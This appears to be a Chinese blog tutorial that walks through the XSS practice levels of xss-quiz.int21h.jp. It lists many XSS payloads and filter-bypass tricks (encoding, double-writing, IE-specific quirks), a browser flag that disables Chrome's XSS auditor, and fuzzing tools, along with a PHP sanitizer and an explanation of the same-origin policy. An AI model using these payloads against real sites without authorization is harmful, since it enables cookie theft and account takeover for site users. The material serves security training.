首页 » Web安全 » 正文

【Web安全】如何正确的去打XSS Payload,见框就插总结技巧篇

XSS练习平台:

http://xss-quiz.int21h.jp/

NO.1:对于没有过滤的XSS

认识常用的html标签
<b>粗体文本

探测XSS的过程:

1.构造一个独一无二的正常字符串去提交到文本框
比如:12345qwert
2.然后使用浏览器的F12查看代码,使用鼠标箭头去查看刚刚构造的字符串是否在页面中显示

file

然后发现输入的字符串在标签里面

利用:闭合文本标签从而插入XSS代码

常见的payload:
<script>alert(document.domain);</script>
闭合标签的payload<ps:前面是有双引号的>:
"</b><script>alert(document.domain);</script>

file

NO.2:标签属性中的XSS

1.Chrome关闭XSS-Auditor
chrome的关闭方法:

我的chrome安装目录在C:\Program Files (x86)\Google\Chrome\Application\chrome.exe,关闭方法是在命令行输入以下命令:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor

file

记得点击应用和退出

1.技巧:Ctrl+F键搜索特定输入的字符串
例如:zzhsec233
然后发现输入的测试字符串在value值内
2.闭合标签打入XSS Payload,闭合引号,尖括号;
"><script>alert(document.domain);</script>

file

成功完成XSS Payload插入

file

3.引入XSS事件,实现插入Payload
" onmouseover=alert(document.domain)>
当鼠标移动到位置的就会触发XSS,当然也可以使用单击事件触发Payload等等

NO.3:选择列表中的XSS

select元素可以创建单选或者多选菜单
<select>元素中的<option>标签用于定义列表中的可用选项

file

Form Data提交表单位置

file

使用Burp来修改提交的Payload

file

插入XSS Payload代码,闭合<option>标签:
Japan</option><script>alert(document.domain);</script>

NO.4:隐藏参数中的XSS

隐藏域是用来收集或发送信息的不可见元素,隐藏域是看不见的,当表单提交时,会将你设置的东西发送到服务器上

例如:
<input type="hidden" name"..." value="..">

HTML中svg是可缩放图像,svg可以构建xml格式定义图像
svg文件是可以通过标签嵌入HTML文档,<embed>,<obeject>,<iframe>都可以用svg标签插入

<svg/事件="">

file

payload:
"><svg onload=alert(document.domain)>%0a
或者使用:
"><script>alert(document.domain);</script>
需要插入在hackme后面

file

NO.5:限制输入长度中的XSS

表单元素指的是不同类型的input元素,复选框,单选按钮,提交按钮等等,text是定义常规的文本输入

属性介绍: 
value 属性规定输入字段的初始值 
readonly 属性规定输入字段为只读(不能修改) disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。 
size 属性规定输入字段的尺寸(以字符计) 
maxlength 属性规定输入字段允许的最大长度 
如设置 maxlength 属性,则输入控件不会接受超过所允许数的字符。 该属性不会提供任何反馈。如果需要提醒用户,则必须编写 JavaScript 代码

使用Python来计算XSS payload的字节长度

len(""><script>alert(document.domain);</script>")
绕过限制字符长度,前端直接修改或者输入然后burp抓包替换绕过前端限制字符长度

file

payload:
"><svg onload=alert(document.domain)>%0a
或者使用:
"><script>alert(document.domain);</script>

file

NO.6:HTML事件中的XSS

HTML事件介绍:
http://www.w3school.com.cn/tags/html_ref_eventattributes.asp
XSS漏洞发现:提交一个独一无二的字符串,然后在响应中查找

1.构造HTML事件来触发XSS漏洞
" onmouseover="alert(document.domain)
" onclick="alert(document.domain)"
2.直接闭合input标签
"><script>alert(document.domain);</script>
第二种发现会被实体化编码,所以推荐使用js事件来构造payload

file

NO.7:空格分隔属性中的XSS

payload:
111 onmouseover="alert(document.domain)"

file

NO.8:js伪协议属性中的XSS

js伪协议介绍:
https://www.cnblogs.com/tekkaman/p/6171372.html
javascript URL可以含有只执行动作,但不返回值javascript语句
javascript:alert("Hello ZZHSEC")

输入zzhsec,发现位置在href里面

file

1.js伪协议payload:
javascript:alert(document.domain)

file

NO.9:绕过替换script和on事件以及绕过过滤domain为空的XSS

1.绕过过滤domain为空
双写绕过payload:
"> <script>alert(document.dodomainmain);</script>
编码绕过payload:
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

file

1.绕过替换script和on事件方法
1).寻找过滤内容:
111 onmouseover="alert(document.domain)"
发现onmouseover事件被过滤了
"> <script>alert(document.domain);</script>
script被替换为xscript

file
file

利用js伪协议绕过
payload:
233"> <a href="javascript:alert(document.domain)">xss</a>
利用空格绕过
payload:
2333"> <a href="javascr ipt:alert(document.domain);">xss</a>

file

NO.10:利用IE特性绕过XSS过滤

file

双引号被过滤了,所以无法触发XSS

file

再次测试发现还过滤了<>括号

file

IE浏览器特性:
IE中两个反引号``可以闭合一个左边的双引号
payload:
`` onmouseover=alert(document.domain)
或者:
`` onclick=alert(document.domain)

file

成功绕过执行,进入下一关

file

NO.11:利用CSS触发XSS

file

CSS特性:
background:url("javascript:alert(document.domain);")
设置背景颜色,利用js伪协议来执行js;
设置background:url这种方式的CSS写法
目前只有IE浏览器支持这种写法,其他浏览器不支持。
payload:
background-color:#f00;background:url("javascript:alert(document.domain);");
需要使用IE老版本来触发,IE11<windows10上的IE版本无法复现成功>之后就不会触发该漏洞,有一定的局限性

file

CSS中如何执行js代码

CSS是层叠样式表,用于修饰网页,以及配合脚本语言动态的对网页各个元素进行格式化
CSS表达式,利用CSS expression来实现操作js;用来建立元素属性间的联系
CSS之间的注释,/**/
绕过关键词expression的过滤,可以使用
ex/**/pression

构造payload

payload:
xss:expre/**/ssion(if(!windows.x){alert(document.domain);windows.x=1})
windows窗口如果未定义,就执行后面的document.domain
然后再给windows窗口赋值,避免再次弹框

file

IE11不支持这种方式,IE11之前的老版本没问题

NO.12:16进制绕过过滤XSS

十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个大小不同的数,即逢16进1,其中用A,B,C,D,E,F(字母不区分大小写)这六个字母来分别表示10,11,12,13,14,15。
可以使用在线网站进行转换或者python脚本来实现

双斜杠+16进制绕过

\x3c\x3e  对应  <>
\也被过滤了的话,可以使用双写\
\\x3c\\x3e
payload:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

file

NO.13:Unicode绕过过滤XSS

Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
可以使用在线编码转换网站或者Python进行编码间的转换

双斜杠+unicode绕过

\u003c\u003e    对应   <>
\也被过滤了的话,可以使用双写\
\\u003c\\u003e
payload:
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

file

NO.14:XSS Filter过滤器

htmlspecialchars()函数
参考:http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

file

htmlentities()函数
这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<(&lt),输入>就被转为实体&gt.
参考:
http://www.w3school.com.cn/php/func_string_htmlentities.asp
strip_tags() 函数
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。  注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。  注释:该函数是二进制安全的。
参考:
http://www.w3school.com.cn/php/func_string_strip_tags.asp
自定义xss filter
可以只有拿来使用,用来过滤
function xss_clean($data)
{
// Fix &entity\n;
$data = str_replace(array('&','<','>'), array('&','<','>'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

do
{
    // Remove really unwanted tags
    $old_data = $data;
    $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);

// we are done...
return $data;
}

NO.15:编码转义

URL编码:
url的设计者,考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。

百分号编码:URL编码中包含一个%,后面跟着两个ASCII码的16进制数,例如:空格的就是%20

HTML编码:
一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。

实体编码:一般以&开头,";"结尾,也可以不加";"
进制编码:一般以&#开头,";"结尾,也可以不加";";字符可以是任意的十进制ASCII码或者Unicode字符编码。

Javascript编码:
数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。如:“<”转为“\u003c”或“\x3c”。其中“\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。

JS编码网站:
http://www.jsfuck.com/

编码的含义:

file

NO.16:XSS过滤器绕过技巧

利用前面的xss fitler来接收参数
准备好XSS payload的绕过字典。
Kali下就有,路径是:
/usr/share/wordlists/wfuzz/Injections
XSS.txt
然后使用Burp Instru模块,加载字典XSS.txt,进行枚举验证

file

NO.17:XSS发生的位置

GET型URL中的XSS

在URL中提交的XSS参数,如果在页面中显示,可能就存在XSS漏洞
一般是反射型的XSS

POST型的XSS

如果在表单中提交POST数据,在页面中显示,可能会存在XSS漏洞

JSON型的XSS

JSON一般是键值对的格式,{"name":"zzh","age":"5"}
payload:
1111"}]};alert(document.domain);//

file

自定义的HTTP头中的XSS

如果在HTTP自定义头中提交的参数值,在页面中显示。很有可能就存在XSS。

file

NO.18:XSS fuzzing工具

XSSTrike
下载地址:
https://github.com/s0md3v/XSStrike

file

sudo apt-get install python3-pip

git clone https://github.com/s0md3v/XSStrike.git

pip3 install -r requirements.txt

chmod +x xsstrike.py

需要Python3.6环境来运行

自动化的XSS漏洞挖掘工具-XSSer
下载地址:
官方网站:http://xsser.03c8.net
https://github.com/epsylon/xsser
Kali中自带该工具,使用看帮助文档即可

file

NO.19:黑盒挖掘XSS漏洞

定向挖掘XSS

XSS漏洞一般存在于个人资料处,文章发表处以及留言评论处
可以多在这些地方进行测试

file

黑名单代码审计

直接审计代码,发现有留言位置没有实体化,但是有黑名单过滤,想办法绕过即可

NO.20:浏览器同源策略

源由:协议,主机名,端口名组成
例子:
协议://主机名:端口号/
http://www.zzhsec.com与https://www.zzhsec.com
就不是同源,因为协议不一样
PS:同源一定是协议,主机名和端口完全一致的

同源策略SOP:
用于阻止非同源的页面的恶意代码去访问一个非同源的页面;
只有两个页面属于同一个源的时候才能互相访问,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源,所以a.com下的js脚本采用ajax读取b.com里面的文件数据会报错
例如:
源A页面要访问源B页面的认证cookie,如果不阻止的就会被盗取Cookie,从而完成伪造身份登录

IE的源处理:
1.位于可信域的互信域名之间,不受同源策略限制
2.IE在判断同源时不考虑端口

可以使用document.domain读取或者修改源,但是修改之后的源就不能通过其他脚本再修改了

document.domain
domian属性可以解决同源安全策略带来的不同文档的属性共享问题,降域document.domain同源策略认为域和子域属于不同的域:
child1.a.com与a.com
child1.a.com与child2.a.com
xxx.child1.a.com与child1.a.com
两两不同源,可以通过document.doamin='a.com',浏览器就会认为他们是同一个源。以上任意两个页面通信,两个页面都必须设置document.domain='a.com'